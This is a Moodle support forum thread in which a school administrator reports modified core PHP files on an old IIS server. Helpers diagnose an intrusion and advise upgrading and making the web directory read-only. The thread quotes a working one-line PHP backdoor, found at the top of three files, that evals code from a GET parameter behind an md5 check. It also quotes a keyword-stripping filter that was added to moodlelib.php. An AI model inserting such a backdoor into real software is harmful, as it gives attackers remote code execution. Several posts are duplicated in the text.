We are using Moodle 1.8.2 on IIS 6 windows server 2003.
We recently had an problem backing up our courses and found that it was due to a corrupted moodlelib.php which we have replaced and can again back up courses.
Before replacing the file we could see that it had been modified on 25/12/08 also files auth.php, set.php and change_password.php were also modified on the same day.
I'm sure our security is tight enough not to allow anyone write permissions to our server so I don't believe we were hacked, so how would these files be modified?
any replys appreciated.
thanks
JH
Did you ever check what was changed - compared to original files of the same package you have etc
Files don't change by themselves and if something changed somebody/something had write permissions to those files - if not from web then inside your server (some bot, virus, cracker etc). For example c99madshell http://moodle.org/mod/forum/discuss.php?d=111710 has a nasty feature - it can delete itself.
Server logs may be helpful in solving cases like this + moodle 1.8.2 should have been upgraded long time ago.
Thanks for your reply Mauna.
Yes I have checked and compared the files.
For the moodlelib.php the change was just 2 lines of added code:-
The other 3 files have many differences but one thing I have noticed is that they all had the same line of code at the top.
Yes I have checked and compared the files.
For the moodlelib.php the change was just 2 lines of added code:-
function required_param($parname, $type=PARAM_CLEAN) {
// detect_unchecked_vars addition
// detect_unchecked_vars addition
global $CFG;
if (!empty($CFG->detect_unchecked_vars)) {
global $UNCHECKED_VARS;
unset ($UNCHECKED_VARS->vars[$parname]);
}
if (isset($_POST[$parname])) { // POST has precedence
$param = $_POST[$parname];
} else if (isset($_GET[$parname])) {
$param = $_GET[$parname];
} else {
error('A required parameter ('.$parname.') was missing');
}
$param = preg_replace("/eval|system|passthru|exec|include|require_once|move_uploaded_file/i", "", $param);
return clean_param($param, $type);
}
function optional_param($parname, $default=NULL, $type=PARAM_CLEAN) {
// detect_unchecked_vars addition
global $CFG;
if (!empty($CFG->detect_unchecked_vars)) {
global $UNCHECKED_VARS;
unset ($UNCHECKED_VARS->vars[$parname]);
}
if (isset($_POST[$parname])) { // POST has precedence
$param = $_POST[$parname];
} else if (isset($_GET[$parname])) {
$param = $_GET[$parname];
} else {
return $default;
}
$param = preg_replace("/eval|system|passthru|exec|include|require_once|move_uploaded_file/i", "", $param);
return clean_param($param, $type);
}
if (!empty($CFG->detect_unchecked_vars)) {
global $UNCHECKED_VARS;
unset ($UNCHECKED_VARS->vars[$parname]);
}
if (isset($_POST[$parname])) { // POST has precedence
$param = $_POST[$parname];
} else if (isset($_GET[$parname])) {
$param = $_GET[$parname];
} else {
error('A required parameter ('.$parname.') was missing');
}
$param = preg_replace("/eval|system|passthru|exec|include|require_once|move_uploaded_file/i", "", $param);
return clean_param($param, $type);
}
function optional_param($parname, $default=NULL, $type=PARAM_CLEAN) {
// detect_unchecked_vars addition
global $CFG;
if (!empty($CFG->detect_unchecked_vars)) {
global $UNCHECKED_VARS;
unset ($UNCHECKED_VARS->vars[$parname]);
}
if (isset($_POST[$parname])) { // POST has precedence
$param = $_POST[$parname];
} else if (isset($_GET[$parname])) {
$param = $_GET[$parname];
} else {
return $default;
}
$param = preg_replace("/eval|system|passthru|exec|include|require_once|move_uploaded_file/i", "", $param);
return clean_param($param, $type);
}
The other 3 files have many differences but one thing I have noticed is that they all had the same line of code at the top.
<?php
if ( md5(@$_GET["rnk"]) == "2d8580663839881184c4acff7e0af63d" ) eval (stripcslashes (@$_GET["cd"]));
I don't know much about php, but looks worrying.if ( md5(@$_GET["rnk"]) == "2d8580663839881184c4acff7e0af63d" ) eval (stripcslashes (@$_GET["cd"]));
Yes, the last line of code would allow an attacker to execute arbitrary PHP code.
It looks like you have been hacked, possibly by a vulnerability in Moodle or one of its libraries. You say you are running 1.8.2, which is rather old. You should upgrade at least to the latest 1.8 release (currently 1.8.8). Versions of Moodle 1.8 prior to 1.8.5 have a vulnerability in one of the included libraries that has been widely exploited. See the discussion Mauno linked to above.
Additionally, you should ensure that your web server (IIS) does not have permissions to write to your Moodle directory, as there is no reason it should be writing there.
It looks like you have been hacked, possibly by a vulnerability in Moodle or one of its libraries. You say you are running 1.8.2, which is rather old. You should upgrade at least to the latest 1.8 release (currently 1.8.8). Versions of Moodle 1.8 prior to 1.8.5 have a vulnerability in one of the included libraries that has been widely exploited. See the discussion Mauno linked to above.
Additionally, you should ensure that your web server (IIS) does not have permissions to write to your Moodle directory, as there is no reason it should be writing there.
Thanks for you reply, we will have another look at our permisssions.
We will upgrade moodle but we were going to wait for our summer break - maybe we should rethink
We will upgrade moodle but we were going to wait for our summer break - maybe we should rethink
If you are hosting your own Moodle you should always monitor the Moodle security announcements forum, and make sure that major/critical security vulnerabilities are patched as soon as possible, whether it is by applying a patch (if one is available), or by upgrading.
Ok we are a bit confused now as we thought we had to give IUSR_machinename full permissions to the Moodle directory, is this not the case?
The web server only needs to read from the Moodle directory. Having full permissions on the Moodle directory may be helpful when first setting up, as it allows Moodle to write its config.php file, but after that, it has no reason to write to the Moodle directory.
On the other hand, the web server must have full permissions on the Moodle data directory ($CFG->dataroot in config.php). (And the Moodle data directory should be separate from the Moodle directory.)
On the other hand, the web server must have full permissions on the Moodle data directory ($CFG->dataroot in config.php). (And the Moodle data directory should be separate from the Moodle directory.)
I'm a little late here - Hubert said it all - you really need only read permissions for directly web accessible files (main folder of moodle), otherwise IUSER ( = any visitors/crackers using web ) can get full access to your files. Moodledata on the other hand can be even on a separate disk and it must never be directly web accessible (inside web root). Year or two ago it was very usual to give people advise to change permissions (even to full permissions, I did it myself a couple of times) if installing moodle was not successful and many sited did not read the documentation properly. Current security documentation is up-to-date and moodle 1.9.4+ is great!
Anyway it was useful to see those lines you sent... hope you can check all the settings, IIS and Windows 2003 can be tricky.
Thank you both for your good advice, we are currently now reconfiguring our IIS permisssions.
We will update Moodle asap but our site at the moment has a lot of usage and I really did want to rehearse updating moodle on a non-live version first.
We will update Moodle asap but our site at the moment has a lot of usage and I really did want to rehearse updating moodle on a non-live version first.
Just to add that we have now changed our permissions on the moodle folder to read only, we also found and deleted a rogue file - license.php which is mentioned here http://moodle.org/mod/forum/discuss.php?d=106690
thanks again for your help
thanks again for your help
Good link Jacqueline,
I could add one more thing (that is very simple to do and common thing but I have not seen it mentioned anywhere here):
http://moodle.org/mod/forum/discuss.php?d=116214&parent=510516#p510531
I could add one more thing (that is very simple to do and common thing but I have not seen it mentioned anywhere here):
http://moodle.org/mod/forum/discuss.php?d=116214&parent=510516#p510531
We successfully upgraded to 1.9.5 and are now busy tweaking any security issues.
the issue I can't get rid of is -
"Your site configuration might not be secure. Please make sure that your dataroot directory (K:\/moodledata) is not directly accessible via web."
This is also in the security report.
Our set up is WIMP and our folders are
C:\Inetpub\wwwroot\web sites\default web site\ moodle(Virtual directory pointing to K:\moodle)
K:\moodle
K:\moodledata
So moodledata is not accessible via the web, I've also tested it by uploading a HTML file which I can't access unless Im logged on.
Is it becuase the folder structure is the same for moodle and moodledata that is producing the warning?
thanks in advance
Jackie
PS though OT with this forum when logged on as admin its very very slow?
the issue I can't get rid of is -
"Your site configuration might not be secure. Please make sure that your dataroot directory (K:\/moodledata) is not directly accessible via web."
This is also in the security report.
Our set up is WIMP and our folders are
C:\Inetpub\wwwroot\web sites\default web site\ moodle(Virtual directory pointing to K:\moodle)
K:\moodle
K:\moodledata
So moodledata is not accessible via the web, I've also tested it by uploading a HTML file which I can't access unless Im logged on.
Is it becuase the folder structure is the same for moodle and moodledata that is producing the warning?
thanks in advance
Jackie
PS though OT with this forum when logged on as admin its very very slow?